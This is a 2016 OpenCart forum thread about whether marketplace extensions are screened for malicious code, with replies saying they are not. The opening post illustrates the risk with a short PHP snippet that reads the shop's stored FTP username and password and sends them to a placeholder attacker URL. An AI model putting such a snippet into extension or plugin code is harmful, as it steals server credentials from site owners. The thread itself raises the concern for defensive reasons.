Are the marketplace extensions being screened?

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Are the marketplace extensions being screened?

Post by Tomit » Wed Dec 28, 2016 12:19 am

I was just wondering, do the modules get screened before they are added to the marketplace?

I think there should be a permission system within opencart, to which the modules need to ask permission to access certain configuration data.

What would stop anyone with bad intent from getting your server data?
all they need is upload a free module that looks awesome and add an ocmodfile with something like this:

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$u = $this->config->get('config_ftp_username');
$p = $this->config->get('config_ftp_password');
$updateFeed = file_get_contents("http://mymalicouswebsiteurll/i_got_your_ftp_credentials.php?username=$u&password=$p");
And they have full ftp access to your account..

not many people will really check the files they are installing, and your server could get compromised without you knowing anything is wrong.

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Re: Are the marketplace extensions being screened?

Post by IP_CAM » Wed Dec 28, 2016 1:31 am

Nope, they are not, everybody is free, to offer Mod's and Themes. In addition, uncounted Websites exist, offering their own Additions, so, it would be impossible, to keep control. It's therefore the sole responsibility of OC Users, to make sure, to run a secure Shop, and if one aquires Extensions, partly even from unknown sources, it cannot be the problem of OC.

This, especially under the Aspect, that Sites exist, offering paid OC-Extensions for free, for what reason ever. And some of them possibly add their own STUFF to some Extensions, in order, to possibly still participate some day, by gaining access, and so be able, to steal other paid Extensions, Programs, and/or Data from such Servers.

Just accept it, as it is. And make sure, to keep your Shop Site clean. That's all, you can do about. Good Luck ! ;)
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Re: Are the marketplace extensions being screened?

Post by thekrotek » Wed Dec 28, 2016 4:29 am

I feel your pain, bro. But don't get too pesky about it, since most developers (and I mean 99.99999999999999% of them) are the good guys. If a single schmuck ever inject something in his code, he'll get reported and banned instantly.

If you're worried about security, you can add a simple script to your site and run it after every extension installation/setup. There're tons of scripts, that check for basic exploits like base64_encode stuff or any kind of file requests. If you're a good programmer, you can even write your own. They all based on the same logic anyway.

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